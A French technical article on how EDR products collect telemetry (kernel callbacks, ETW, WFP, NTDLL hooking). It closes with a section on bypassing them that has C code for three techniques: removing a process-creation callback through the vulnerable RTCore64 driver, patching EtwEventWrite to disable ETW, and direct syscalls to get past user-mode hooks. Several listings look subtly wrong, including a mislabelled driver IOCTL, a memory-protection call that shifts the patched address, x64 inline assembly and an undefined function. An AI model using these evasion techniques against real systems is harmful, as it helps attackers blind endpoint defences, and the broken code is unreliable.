Composants Internes des EDR

Comprendre et Contourner les Systèmes Modernes de Détection et Réponse aux Points de Terminaison

Les systèmes Endpoint Detection and Response (EDR) sont devenus la pierre angulaire de l’infrastructure de sécurité moderne, fournissant des capacités avancées de détection de menaces et de réponse aux incidents. Cet article plonge dans le fonctionnement interne des solutions EDR, en se concentrant particulièrement sur leurs mécanismes de collecte de télémétrie.

Introduction à l’Architecture EDR

Les solutions EDR modernes emploient une architecture multicouche qui combine des composants en mode utilisateur et en mode noyau pour atteindre une visibilité et une protection complètes. L’architecture consiste typiquement en un pilote kernel pour la surveillance de bas niveau, des services en mode utilisateur pour l’analyse, et des composants cloud pour le partage de renseignements et les mises à jour.

Le pilote kernel EDR est responsable de la collecte de télémétrie depuis diverses sources au sein du système, de la surveillance des activités suspectes et de l’application des politiques de sécurité. Il interagit avec les mécanismes du noyau Windows pour obtenir une visibilité sur les opérations système sans impacter significativement les performances.

Télémétrie des Callbacks Kernel

L’un des principaux mécanismes que les EDR utilisent pour collecter la télémétrie est les callbacks kernel. Ces callbacks sont des pointeurs de fonction enregistrés qui sont appelés chaque fois que des événements système spécifiques se produisent. Explorons les divers types de callbacks kernel que les EDR exploitent typiquement.

Callbacks Kernel de Création de Processus

La surveillance de la création de processus est fondamentale pour la fonctionnalité EDR. Ces callbacks notifient les pilotes chaque fois qu’un processus est créé ou terminé sur le système, permettant aux EDR de collecter la télémétrie initiale sur les activités de création de processus potentiellement malveillantes.

La télémétrie collectée inclut la structure EPROCESS du processus créé, l’ID de processus (PID), et une structure PPS_CREATE_NOTIFY_INFO contenant des informations critiques telles que l’ID du processus parent, le nom du fichier image, les arguments de ligne de commande, et l’ID du thread créateur. Les EDR exploitent ces informations pour détecter les modèles de création de processus suspects, les relations parent-enfant et les paramètres de ligne de commande indicatifs d’activité malveillante.

Callbacks Kernel de Création de Thread

La surveillance de la création de threads complète la surveillance des processus en fournissant une visibilité sur l’exécution du code au sein des processus. Les EDR enregistrent des callbacks de création de threads pour détecter des techniques comme l’injection de thread distant.

La télémétrie collectée inclut la structure ETHREAD, l’ID de processus du processus créateur et l’ID de thread du thread nouvellement créé. Ces informations aident les EDR à détecter les techniques d’injection de threads couramment utilisées dans les attaques living-off-the-land et les opérations de malware sans fichier.

Callbacks Kernel de Chargement d’Image

Les callbacks de chargement d’image notifient les pilotes chaque fois qu’un fichier PE (exécutable, DLL ou pilote) est chargé en mémoire. Cela fournit aux EDR une visibilité sur les modules de code introduits dans les processus.

La télémétrie collectée inclut le chemin complet de l’image chargée, l’ID du processus dans lequel l’image est chargée, et l’adresse de base et la taille de l’image chargée en mémoire. Les EDR utilisent ces informations pour détecter le chargement de DLL suspectes, de pilotes non signés ou de modules malveillants connus.

Callbacks Kernel d’Opérations sur le Registre

Les callbacks d’opérations sur le registre fournissent une visibilité sur les modifications du registre Windows, qui est un mécanisme de persistence commun pour les malwares.

Ces callbacks suivent les opérations telles que la lecture, l’écriture, la suppression ou l’interrogation des clés de registre. La télémétrie inclut le chemin complet de la clé de registre, l’ID de processus et l’ID de thread du processus effectuant l’opération, et les détails sur l’opération demandée. Les EDR analysent ces données pour détecter les techniques de persistence communes des malwares, les tentatives d’escalade de privilèges et les activités d’évasion de défense.

Callbacks Kernel d’Opérations sur les Objets

Les callbacks d’opérations sur les objets fournissent des notifications sur les opérations de handle sur les objets processus et thread, ce qui est crucial pour détecter les tentatives d’escalade de privilèges et de dumping d’identifiants.

Ces callbacks collectent la télémétrie telle que les ID de processus cible et source, les droits d’accès demandés et l’ID du thread initiant la création ou duplication de handle. Les EDR utilisent ces informations pour empêcher les tentatives d’accès aux processus sensibles, telles que celles ciblant LSASS pour le dumping d’identifiants.

Callbacks Kernel d’Opérations sur le Système de Fichiers

Les callbacks minifilter du système de fichiers fournissent aux EDR une visibilité sur les opérations de fichiers, ce qui est essentiel pour détecter les ransomwares (par ex.), l’exfiltration de données et les modifications de fichiers malveillantes.

Ces callbacks collectent la télémétrie sur le type d’opération du système de fichiers, les ID de processus et de thread, et le chemin et la taille du fichier impliqué. Les EDR analysent ces données pour détecter les activités de fichiers suspectes telles que le chiffrement de masse (ransomware), l’accès aux fichiers sensibles ou la création de fichiers malveillants.

Télémétrie ETW

Event Tracing for Windows (ETW) est une autre source de télémétrie cruciale pour les EDR. ETW fournit un mécanisme de traçage à l’échelle du système qui permet la surveillance des activités en mode utilisateur et en mode noyau avec un impact minimal sur les performances.

Les fournisseurs ETW émettent des événements qui contiennent des données structurées sur des activités spécifiques. Les EDR exploitent ces événements pour surveiller les activités suspectes telles que l’exécution de scripts PowerShell en plus du module de script AMSI, le chargement d’assemblages .NET en plus du module .net AMSI, et d’autres techniques living-off-the-land. Chaque fournisseur génère des événements avec des ID et propriétés uniques que les EDR peuvent filtrer et analyser pour détecter les modèles malveillants.

Télémétrie Réseau

La télémétrie réseau est essentielle pour détecter les communications de commande et contrôle, l’exfiltration de données et les tentatives de mouvement latéral.

Les EDR exploitent typiquement la Windows Filtering Platform (WFP) pour intercepter et analyser le trafic réseau. WFP fournit un ensemble d’API et de mécanismes de filtrage qui permettent aux produits de sécurité de surveiller et contrôler le trafic réseau à diverses couches de la pile réseau. Les EDR enregistrent des callouts qui sont invoqués lorsque le trafic réseau correspond à des conditions spécifiques, leur permettant de collecter la télémétrie sur les connexions suspectes, les transferts de données et les anomalies de protocole.

Télémétrie d’API Hookées

Le hooking d’API est une technique utilisée par les EDR pour surveiller et intercepter les appels de fonction effectués par les applications, fournissant une visibilité sur les comportements potentiellement malveillants.

Les EDR hookent typiquement les API Windows critiques, particulièrement dans le module NTDLL.DLL, pour surveiller les activités suspectes. Le processus de hooking implique de modifier le point d’entrée de la fonction pour rediriger l’exécution vers le code de surveillance de l’EDR avant de passer le contrôle à la fonction originale. Cela permet aux EDR de collecter une télémétrie détaillée sur les paramètres d’API, les valeurs de retour et les piles d’appels, ce qui peut révéler une intention malveillante même lorsque des API Windows légitimes sont utilisées à des fins néfastes.

Contournement de la Détection EDR

Comprendre le fonctionnement interne des EDR fournit des aperçus sur les techniques d’évasion potentielles. Cependant, il est important de noter que ces techniques ne doivent être utilisées que dans des scénarios de tests de sécurité légitimes avec autorisation appropriée.

Diverses techniques peuvent être employées pour contourner la détection EDR, de la suppression de callbacks kernel en utilisant des pilotes vulnérables à la modification de fournisseurs ETW et au unhooking d’API. Les techniques d’évasion avancées impliquent l’utilisation d’appels système directs pour contourner le hooking en mode utilisateur ou l’exploitation de pilotes signés vulnérables pour effectuer des opérations en mode noyau qui peuvent désactiver les mécanismes de sécurité.

Exemple de code de Suppression de Callback de Création de Processus

1
/* Suppression de Callback de Création de Processus via Pilote Vulnérable */
2
#include <windows.h>
3
#include <stdio.h>
4

5
#define VULN_DRIVER_DEVICE L"\\\\.\\RTCore64"
6
#define IOCTL_REMOVE_CALLBACK 0x8000204C
7

8
typedef struct _CALLBACK_REMOVE_REQUEST {
9
    DWORD64 CallbackAddress;
10
} CALLBACK_REMOVE_REQUEST;
11

12
BOOL RemoveProcessCallback(DWORD64 callbackAddress) {
13
    HANDLE hDevice = CreateFileW(VULN_DRIVER_DEVICE, GENERIC_READ | GENERIC_WRITE,
14
                                0, NULL, OPEN_EXISTING, 0, NULL);
15
    if (hDevice == INVALID_HANDLE_VALUE) {
16
        printf("Erreur d'ouverture du pilote : %d\n", GetLastError());
17
        return FALSE;
18
    }
19

20
    CALLBACK_REMOVE_REQUEST request = { callbackAddress };
21
    DWORD bytesReturned;
22

23
    BOOL result = DeviceIoControl(hDevice, IOCTL_REMOVE_CALLBACK, &request,
24
                                 sizeof(request), NULL, 0, &bytesReturned, NULL);
25
    CloseHandle(hDevice);
26
    return result;
27
}
28

29
int main() {
30
    // Obtenir l'adresse du callback cible via débogage kernel ou scan de pattern
31
    DWORD64 targetCallback = 0xFFFFF80041789870; // Exemple de callback WdFilter.sys
32
    if (RemoveProcessCallback(targetCallback)) {
33
        printf("Callback de création de processus supprimé avec succès\n");
34
    } else {
35
        printf("Échec de la suppression du callback\n");
36
    }
37
    return 0;
38
}

Exemple de code de Patching de Fournisseurs ETW

1
/* Contournement ETW via Patching Mémoire */
2
#include <windows.h>
3

4
#pragma comment(lib, "ntdll.lib")
5

6
EXTERN_C NTSTATUS NTAPI NtProtectVirtualMemory(
7
    HANDLE ProcessHandle, PVOID* BaseAddress,
8
    SIZE_T* Size, ULONG NewProtect, PULONG OldProtect);
9

10
void DisableETWTracing() {
11
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
12
    PVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
13

14
    DWORD oldProtect;
15
    SIZE_T size = 1;
16

17

18
    NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size,
19
                          PAGE_EXECUTE_READWRITE, &oldProtect);
20

21

22
    *(BYTE*)etwAddr = 0xC3;
23

24

25
    NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size,
26
                          oldProtect, &oldProtect);
27
}
28

29
int main() {
30
    DisableETWTracing();
31
    // Les événements liés à ETW seront maintenant supprimés
32
    return 0;
33
}

Exemple de code d’Appels Système Directs

1
/* Implémentation d'Appel Système Direct pour NtCreateThreadEx */
2
#include <windows.h>
3

4
typedef NTSTATUS (NTAPI* PNtCreateThreadEx)(
5
    PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess,
6
    POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle,
7
    PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
8
    SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
9
    PVOID AttributeList);
10

11

12
DECLSPEC_NAKED NTSTATUS DirectNtCreateThreadEx() {
13
    __asm {
14
        mov r10, rcx
15
        mov eax, 0xC3        // Numéro de syscall pour NtCreateThreadEx
16
        syscall
17
        ret
18
    }
19
}
20

21
void CreateThreadEvasion() {
22
    HANDLE hThread;
23
    DirectNtCreateThreadEx(&hThread, GENERIC_ALL, NULL,
24
                          GetCurrentProcess(), MyThreadFunc,
25
                          NULL, 0, 0, 0, 0, NULL);
26
}

Références